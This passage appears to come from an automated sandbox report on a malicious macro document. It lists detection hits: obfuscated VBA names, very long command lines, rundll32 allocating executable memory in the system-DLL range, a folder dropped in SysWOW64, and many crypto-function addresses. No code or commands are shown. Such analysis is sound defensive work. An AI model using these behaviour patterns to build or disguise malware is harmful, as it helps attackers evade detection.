Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String mehEFPFHcklgJDDx
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String wypNISsWSXthFJCq
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String LvnHAGHfIhRDBRAF
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String NeiIGCNWgICn
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String NisSEYrcDlKQUITa
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String nJJzFRjEWpRikxCD
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String oLweAMoGsqVE
Very long command line found
Source: unknown Process created: Commandline size = 5709
Source: unknown Process created: Commandline size = 5613
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5613 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Czsbnlmzhou\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000976F 7_2_1000976F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023B41F 7_2_0023B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00232C63 7_2_00232C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00243895 7_2_00243895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023C0C6 7_2_0023C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023EE78 7_2_0023EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023568E 7_2_0023568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002402C3 7_2_002402C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002442DA 7_2_002442DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00238736 7_2_00238736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00237B63 7_2_00237B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00244B41 7_2_00244B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024340A 7_2_0024340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024687F 7_2_0024687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023F444 7_2_0023F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023E05A 7_2_0023E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024A0AF 7_2_0024A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002380BA 7_2_002380BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002360B9 7_2_002360B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002348BD 7_2_002348BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024889D 7_2_0024889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002388E5 7_2_002388E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00231CFA 7_2_00231CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002420C5 7_2_002420C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023F536 7_2_0023F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00240D33 7_2_00240D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023153C 7_2_0023153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00247D03 7_2_00247D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023B112 7_2_0023B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00248D1C 7_2_00248D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00245D1D 7_2_00245D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024511B 7_2_0024511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002369A0 7_2_002369A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002461B8 7_2_002461B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00246DB9 7_2_00246DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00249586 7_2_00249586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023F98C 7_2_0023F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00237998 7_2_00237998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00236D9F 7_2_00236D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002431E2 7_2_002431E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002471EF 7_2_002471EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00232A30 7_2_00232A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00239A37 7_2_00239A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00234A35 7_2_00234A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00247A0F 7_2_00247A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00245A61 7_2_00245A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023EA4C 7_2_0023EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002362A3 7_2_002362A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00231280 7_2_00231280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002412E2 7_2_002412E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002426F5 7_2_002426F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002396CD 7_2_002396CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00248ADC 7_2_00248ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023BB3A 7_2_0023BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00240F0C 7_2_00240F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00242B16 7_2_00242B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00247F1F 7_2_00247F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023C769 7_2_0023C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00240B68 7_2_00240B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023E377 7_2_0023E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00241773 7_2_00241773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00235B79 7_2_00235B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00238F78 7_2_00238F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00249B45 7_2_00249B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00242349 7_2_00242349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00248F49 7_2_00248F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00236754 7_2_00236754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023B75F 7_2_0023B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002473AC 7_2_002473AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002317AC 7_2_002317AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024878F 7_2_0024878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023839D 7_2_0023839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00243FE7 7_2_00243FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023D7EB 7_2_0023D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002467E9 7_2_002467E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002463C1 7_2_002463C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00241BDF 7_2_00241BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00239FDC 7_2_00239FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EB41F 8_2_001EB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EEE78 8_2_001EEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E2C63 8_2_001E2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F3895 8_2_001F3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E568E 8_2_001E568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F42DA 8_2_001F42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EC0C6 8_2_001EC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F02C3 8_2_001F02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E8736 8_2_001E8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F4B41 8_2_001F4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E7B63 8_2_001E7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F63C1 8_2_001F63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F7A0F 8_2_001F7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F340A 8_2_001F340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E9A37 8_2_001E9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E4A35 8_2_001E4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E2A30 8_2_001E2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EE05A 8_2_001EE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EEA4C 8_2_001EEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EF444 8_2_001EF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F687F 8_2_001F687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F5A61 8_2_001F5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F889D 8_2_001F889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E1280 8_2_001E1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E48BD 8_2_001E48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E80BA 8_2_001E80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E60B9 8_2_001E60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001FA0AF 8_2_001FA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E62A3 8_2_001E62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F8ADC 8_2_001F8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E96CD 8_2_001E96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F20C5 8_2_001F20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E1CFA 8_2_001E1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F26F5 8_2_001F26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E88E5 8_2_001E88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F12E2 8_2_001F12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F7F1F 8_2_001F7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F5D1D 8_2_001F5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F8D1C 8_2_001F8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F511B 8_2_001F511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F2B16 8_2_001F2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EB112 8_2_001EB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F0F0C 8_2_001F0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F7D03 8_2_001F7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E153C 8_2_001E153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EBB3A 8_2_001EBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EF536 8_2_001EF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F0D33 8_2_001F0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EB75F 8_2_001EB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E6754 8_2_001E6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F2349 8_2_001F2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F8F49 8_2_001F8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F9B45 8_2_001F9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E8F78 8_2_001E8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E5B79 8_2_001E5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EE377 8_2_001EE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F1773 8_2_001F1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EC769 8_2_001EC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F0B68 8_2_001F0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E6D9F 8_2_001E6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E839D 8_2_001E839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E7998 8_2_001E7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F878F 8_2_001F878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EF98C 8_2_001EF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F9586 8_2_001F9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F6DB9 8_2_001F6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F61B8 8_2_001F61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E17AC 8_2_001E17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F73AC 8_2_001F73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E69A0 8_2_001E69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F1BDF 8_2_001F1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E9FDC 8_2_001E9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F71EF 8_2_001F71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001ED7EB 8_2_001ED7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F67E9 8_2_001F67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F3FE7 8_2_001F3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001F31E2 8_2_001F31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DB41F 9_2_001DB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DEE78 9_2_001DEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D2C63 9_2_001D2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E3895 9_2_001E3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D568E 9_2_001D568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E42DA 9_2_001E42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DC0C6 9_2_001DC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E02C3 9_2_001E02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D8736 9_2_001D8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E4B41 9_2_001E4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D7B63 9_2_001D7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E63C1 9_2_001E63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E7A0F 9_2_001E7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E340A 9_2_001E340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D4A35 9_2_001D4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D9A37 9_2_001D9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D2A30 9_2_001D2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DE05A 9_2_001DE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DEA4C 9_2_001DEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DF444 9_2_001DF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E687F 9_2_001E687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E5A61 9_2_001E5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E889D 9_2_001E889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D1280 9_2_001D1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D48BD 9_2_001D48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D60B9 9_2_001D60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D80BA 9_2_001D80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001EA0AF 9_2_001EA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D62A3 9_2_001D62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E8ADC 9_2_001E8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D96CD 9_2_001D96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E20C5 9_2_001E20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D1CFA 9_2_001D1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E26F5 9_2_001E26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D88E5 9_2_001D88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E12E2 9_2_001E12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E7F1F 9_2_001E7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E8D1C 9_2_001E8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E5D1D 9_2_001E5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E511B 9_2_001E511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E2B16 9_2_001E2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DB112 9_2_001DB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E0F0C 9_2_001E0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E7D03 9_2_001E7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D153C 9_2_001D153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DBB3A 9_2_001DBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DF536 9_2_001DF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E0D33 9_2_001E0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DB75F 9_2_001DB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D6754 9_2_001D6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E2349 9_2_001E2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E8F49 9_2_001E8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E9B45 9_2_001E9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D5B79 9_2_001D5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D8F78 9_2_001D8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DE377 9_2_001DE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E1773 9_2_001E1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DC769 9_2_001DC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E0B68 9_2_001E0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D839D 9_2_001D839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D6D9F 9_2_001D6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D7998 9_2_001D7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E878F 9_2_001E878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DF98C 9_2_001DF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E9586 9_2_001E9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E61B8 9_2_001E61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E6DB9 9_2_001E6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D17AC 9_2_001D17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E73AC 9_2_001E73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D69A0 9_2_001D69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E1BDF 9_2_001E1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D9FDC 9_2_001D9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E71EF 9_2_001E71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DD7EB 9_2_001DD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E67E9 9_2_001E67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E3FE7 9_2_001E3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E31E2 9_2_001E31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027B41F 10_2_0027B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00272C63 10_2_00272C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027EE78 10_2_0027EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027568E 10_2_0027568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00283895 10_2_00283895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027C0C6 10_2_0027C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002802C3 10_2_002802C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002842DA 10_2_002842DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00278736 10_2_00278736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00277B63 10_2_00277B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00284B41 10_2_00284B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002863C1 10_2_002863C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00279A37 10_2_00279A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00274A35 10_2_00274A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00272A30 10_2_00272A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0028340A 10_2_0028340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00287A0F 10_2_00287A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00285A61 10_2_00285A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0028687F 10_2_0028687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027F444 10_2_0027F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027EA4C 10_2_0027EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027E05A 10_2_0027E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002762A3 10_2_002762A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0028A0AF 10_2_0028A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002748BD 10_2_002748BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002780BA 10_2_002780BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002760B9 10_2_002760B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00271280 10_2_00271280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0028889D 10_2_0028889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002788E5 10_2_002788E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002812E2 10_2_002812E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00271CFA 10_2_00271CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002826F5 10_2_002826F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002796CD 10_2_002796CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002820C5 10_2_002820C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00288ADC 10_2_00288ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027F536 10_2_0027F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027153C 10_2_0027153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00280D33 10_2_00280D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027BB3A 10_2_0027BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00280F0C 10_2_00280F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00287D03 10_2_00287D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0028511B 10_2_0028511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00288D1C 10_2_00288D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00285D1D 10_2_00285D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027B112 10_2_0027B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00287F1F 10_2_00287F1F
